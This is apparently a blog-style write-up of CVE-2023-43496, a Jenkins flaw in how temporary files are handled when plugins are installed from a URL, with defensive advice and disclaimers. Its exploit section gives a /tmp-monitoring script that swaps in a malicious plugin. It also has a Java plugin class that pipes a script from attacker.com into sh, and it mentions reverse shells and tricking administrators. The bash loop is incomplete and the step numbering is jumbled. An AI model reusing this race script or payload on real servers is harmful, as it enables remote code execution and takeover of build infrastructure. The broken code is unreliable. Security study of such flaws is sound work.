CVE-2023-43496 - How Jenkins Plugin Installation From URL Can Lead to Remote Code Execution

Jenkins is a widely used automation server trusted by thousands of companies and individual developers for continuous integration and deployment. But, like all complex software, Jenkins sometimes suffers from security vulnerabilities. Today, we’ll take an exclusive deep dive into CVE-2023-43496 — a flaw that can let attackers execute arbitrary code on Jenkins servers under the right circumstances.

What Is CVE-2023-43496?

CVE-2023-43496 is a security vulnerability affecting Jenkins version 2.423 and earlier, and Jenkins LTS 2.414.1 and earlier. The flaw revolves around *how* Jenkins creates temporary files when installing plugins from a URL.

When a plugin is installed directly from a URL, Jenkins creates a temporary file in the system’s default temporary directory (like /tmp on Linux), using the operating system's default file permissions. That might seem safe, but here’s the catch: In many server setups, multiple users or services share the same /tmp directory — and its permissions aren't always secure.

If an attacker can access the system’s temporary directory, they can potentially predict or discover the name of the Jenkins temporary file, replace it with malicious content, and — when Jenkins goes on to install the plugin — their code is executed. This opens the doors to full remote code execution (RCE) on the Jenkins server.

Understanding the Exploit

Let’s break down how this can play out step by step.

In Jenkins, administrators sometimes install plugins by pasting a direct URL

Manage Jenkins > Manage Plugins > Advanced > Upload Plugin > URL

Upon submission, Jenkins downloads the plugin (usually a .hpi file) to a temporary file in the OS temp directory, like /tmp/pluginXXXXXX.hpi.

2. Default Permissions Are Used

The temporary file is created using Java’s standard library, which means the permissions it gets are dictated by the default umask and temp folder permissions. In multi-user systems, these files are sometimes world-readable or even world-writable.

Example

File tempFile = File.createTempFile("plugin", ".hpi");

3. Attacker Predicts or Discovers Temp File

If the attacker has access to the same system (even as a low-privileged user), they can keep an eye on /tmp for new files named like plugin*.hpi. There are many ways this can be done, such as using inotifywait on Linux:

inotifywait -m /tmp -e create

4. Attacker Replaces the Plugin File

Once the temporary file is created but before Jenkins actually installs it, an attacker can quickly swap or overwrite the file with a malicious .hpi plugin:

cp malicious_plugin.hpi /tmp/plugin123456.hpi

5. Jenkins Installs the Malicious Plugin

When Jenkins finishes the plugin installation process, it reads and installs the manipulated .hpi file — executing arbitrary code bundled in the attacker's plugin.

Steps

1. Prepare a malicious .hpi plugin with a post-initialization script that executes shell commands — like spawning a reverse shell.
2. Monitor /tmp folder for new .hpi files appearing.
3. Ask admin (or wait for scheduled update) to install a plugin from URL, or use social engineering to convince them to do so.

`bash

inotifywait -m /tmp -e create | while read dir action file; do

if [[ $file == *.hpi ]]; then

cp /home/user/malicious_plugin.hpi "$dir/$file"

`

This script automatically overwrites any new .hpi file created in /tmp with the attacker's malicious plugin.
5. Payload gets executed once Jenkins completes the installation, giving the attacker further access or control.

Code Snippet: Crafting a Simple Malicious Plugin

Here is a very basic Java snippet that can be included in a Jenkins plugin to execute a shell command upon installation:

public class ExploitInit implements hudson.Plugin {
    @Override
    public void start() throws Exception {
        Runtime.getRuntime().exec("/bin/sh -c 'curl http://attacker.com/shell.sh | sh'");
    }
}

This is for educational purposes only and should never be used for unauthorized access.

Links and References

- Jenkins Security Advisory 2023-10-04 (CVE-2023-43496)
- Original CVE Details
- Jenkins Issue Tracker - SECURITY-322
- Jenkins Plugin Development Guide
- Java File.createTempFile

How to Defend Against This Vulnerability

Jenkins fixed this issue in version 2.424 and LTS 2.414.2:

Always update to the latest supported Jenkins release.

- Restrict shell/system access: Don’t let untrusted users onto your Jenkins host.
- Harden /tmp: Mount /tmp with proper permissions, or use separate temp directories for each user.

Monitor for suspicious plugins: Regularly review installed plugins for anything unexpected.

- Enable auditing and monitoring: Tools like auditd, file integrity checkers, and security plugins can catch tampering attempts.

Conclusion

CVE-2023-43496 is a classic example of simple mistakes leading to dangerous vulnerabilities. Always keep your Jenkins up to date, restrict system access, and pay close attention to how temporary files are handled in your deployment. Exploiting this vulnerability requires local access, but many build systems are multi-user — making this bug much more dangerous in shared environments.

Stay safe, and keep your build servers patched!

*This post is for educational and defensive security purposes only. Do not use this information for unauthorized activity. See the original Jenkins Security Advisory for more.*

Timeline

Published on: 09/20/2023 17:15:11 UTC
Last modified on: 09/23/2023 03:45:08 UTC